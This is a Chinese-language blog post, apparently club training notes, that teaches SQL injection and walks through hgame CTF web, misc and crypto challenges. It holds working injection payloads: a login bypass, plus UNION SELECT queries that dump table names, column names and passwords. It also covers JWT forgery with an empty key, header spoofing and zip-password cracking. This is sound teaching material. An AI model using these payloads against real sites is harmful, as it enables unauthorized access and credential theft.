[风信子培训]SQL注入+hgame

sql注入

sql语句


SELECT username, password FROM users WHERE username='$username' && password='$password'

万能密码(最简单的sql注入)

1‘ or 1=1#

  • 注释符也可以是–+
  • #是为了将后面的密码段给注释掉

步骤

  1. 找注入点(就是可以跟数据库进行交互的地方)

  2. 闭合语句(闭合了就能用SQL注入,不一定只是一个单引号)

  3. 注入攻击

注入攻击

  • 我们需要知道表名、字段名,想要的数据的某个标识

判断列数(字段数)

select username,password from user where username='1' order by 2

利用order by

  • 判断语句之后和注释之前的区域,可以随意操作
  • 利用order by 1 / 2 /…根据回显的报错情况来判断具体的列数

注意:username=的那个1不要用admin,不然直接默认输出admin了,无法判断回显点了

判断回显点

利用union select联合查询

他会追加在后面

[风信子培训]SQL注入+hgame


mysql> SELECT username, password FROM users WHERE username='admin' union select 1,2;

+----------+----------+

| username | password |

+----------+----------+

| admin    | admin    |

| 1        | 2        |

+----------+----------+

我们设置一个不存在的即可

database()

返回当前使用的数据库

limit


select * from users limit 0,2

从0开始查两个


0' or 1=1 limit 14,1#

group_concat

把一列的数据,全部整合到一起


select group_concat(password) from users;

如果我们知道表名,


username=1'union select (select password from users where username="flag"),2#

&password=asdasda



username=1'union select password,2 from users where username="flag"#&password=asdasda

information_schema

查询表名

  • table_name:表名
  • information_schema.tables:里面含有数据库的所有表和表
  • table_schema=database():库名等于当前数据名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

查询字段名


1' union select group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='users'#

查数据

  • 知道了字段名,直接查里面的数据就行

1' union select group_concat(password),1 from users#

hgame

web

1

尊贵的admin写了个todo帮助自己管理日常,但他好像没调试完就部署了…一个月后,当他再一次打开他的小网站,似乎忘记了密码…他的todo之前记录了很重要的东西,快帮帮他
不要爆破!

[风信子培训]SQL注入+hgame
那就换个用户名.
[风信子培训]SQL注入+hgame
看见todo.题目说不能爆破密码,说明密码很难,不要反其道而行
抓包先看看
同个网站会有多个包,不停的放包观察,多点几次。如果是空白那就等一会儿
[风信子培训]SQL注入+hgame
看!这有个token
[风信子培训]SQL注入+hgame
接下来我们需要用到个网站jwt
[风信子培训]SQL注入+hgame
是不是和token很相似?放里面观察
[风信子培训]SQL注入+hgame

  • 我们不知道密钥是什么,那就试试当前的密钥
  • 比如我的用户名是pipa,我删掉最后一个字母,再加上最后一个字母。文本框和原来的不一样了。说明当前密钥不是我们所需
  • 那我们试试密钥为空,重新去掉再添加,发现文本框没变。那这个密钥就是空的。
  • 现在再把文本框里的放回包里
    [风信子培训]SQL注入+hgame
    出来了

2

这题居然点100关!我20关就放弃了哎。下次极限拉到100
[风信子培训]SQL注入+hgame
憋着一肚子火
[风信子培训]SQL注入+hgame
就这个。抓包
[风信子培训]SQL注入+hgame

3

小游戏这题,无非在js里找
[风信子培训]SQL注入+hgame
拉出来放控制台
[风信子培训]SQL注入+hgame

4

先抓个包表敬意

[风信子培训]SQL注入+hgame
这是个网站,可以放网站的地方:referer(从这个地方来)
[风信子培训]SQL注入+hgame
注意要放在Connection:close的上面
这个Hachi-Roku像是个浏览器。放浏览器的地方:User-Agent
[风信子培训]SQL注入+hgame

  • 发现Set-Cookie: flavor=Strawberry; 也就是重新设置cookie.
  • 题目又说是树莓味的,那把flavor=Raspberry放上去
    [风信子培训]SQL注入+hgame
    加汽油,找找哪里能加汽油。看到Gasoline:0 。把他加到100

[风信子培训]SQL注入+hgame
最后一步。从本地,想到XFF(从这里来的)
[风信子培训]SQL注入+hgame
[风信子培训]SQL注入+hgame
这就是不能用XFF。那就换一个X-Real-IP
[风信子培训]SQL注入+hgame

misc

1

签到题,微信关注得到flag

2

这个压缩包有点麻烦
打开压缩包,全都加密。注释里面写的是6位以内的纯数字。用Ziperello暴力解密
[风信子培训]SQL注入+hgame
压缩包里面还有个加密压缩包。字典解码
用第一个压缩包里面附加的字典:password-note
[风信子培训]SQL注入+hgame

包里还套密码包,这次明文攻击
[风信子培训]SQL注入+hgame
两个后缀一模一样,说明是同个文件。进行明文攻击时,先把文件变成压缩包。注意特定格式
[风信子培训]SQL注入+hgame
[风信子培训]SQL注入+hgame

3

好看的流量
追踪tcp流
[风信子培训]SQL注入+hgame

  • 这些全是base64编码,base64转图片

  • 翻找各个颜色通道
    [风信子培训]SQL注入+hgame
    在这里
    [风信子培训]SQL注入+hgame
    扫描二维码,得到一半flag hgame{ez_1mg_

  • 再用zsteg查看图片各种颜色通道,获取隐藏信息,在kali打开

zsteg /root/Desktop/下载.jfif --all

[风信子培训]SQL注入+hgame
这里就是了

4

  • 音频隐写题,先用工具AudacityPortable看看波形图,还是挺正常的。
  • 再看看频谱图,不一样了,先记下来
    [风信子培训]SQL注入+hgame
    Yoasobi
  • 查看音频属性
    [风信子培训]SQL注入+hgame
    下载SlientEye
    [风信子培训]SQL注入+hgame
    [风信子培训]SQL注入+hgame
    看到了个网址,打开它,下载音频
    用工具RX-SSTV解码
    [风信子培训]SQL注入+hgame
    打开history,就会发现二维码,扫描二维码,最终得到flag

lot

用010打开文件,就能得到flag

CRYPTO

easyRSA

先看返回值
[风信子培训]SQL注入+hgame

  • 先对第一组数据进行操作,打开RSAtool工具
  • e=12433 这要试一试,看e是十进制还是十六进制,最后结果表明e是十进制。但是工具里需要e为十六进制,那我们转换一下,得到e=3091

[风信子培训]SQL注入+hgame

  • 看第一组以及以后的所有数据,它全是数字,说明都是十进制,图上NameberBase那里改成十进制
  • p=149,q=197,因为n=p*q,所以我们把n要算出来
    [风信子培训]SQL注入+hgame
  • 将p,q输进去,点Cale.D,剩下两个空就都出来了
  • 这时我们叫测试,要点Test,这工具第一次打开点不了Test,需要点一下Generate按钮,但要注意,点完后所有的数据都变了,需要重新输入
  • 这时候点击Test,新出现个小页面。因为我们要解密,所以需要用到第二个框
    [风信子培训]SQL注入+hgame
    这个该死的工具!
  • 必须先随便在第一行输个数,点击Encrypt,再在第二行把py第一组数据的104输进去
  • 点击Decrypt,解码h,就是hgame的第一个字母。然后剩余组的步骤一样。重复重复重复
上一篇:navicat连接mysql报错1251的解决方法(搬运)主要原因mysql8的加密规则更改


下一篇:Hadoop高手之路--08--Sqoop数据迁移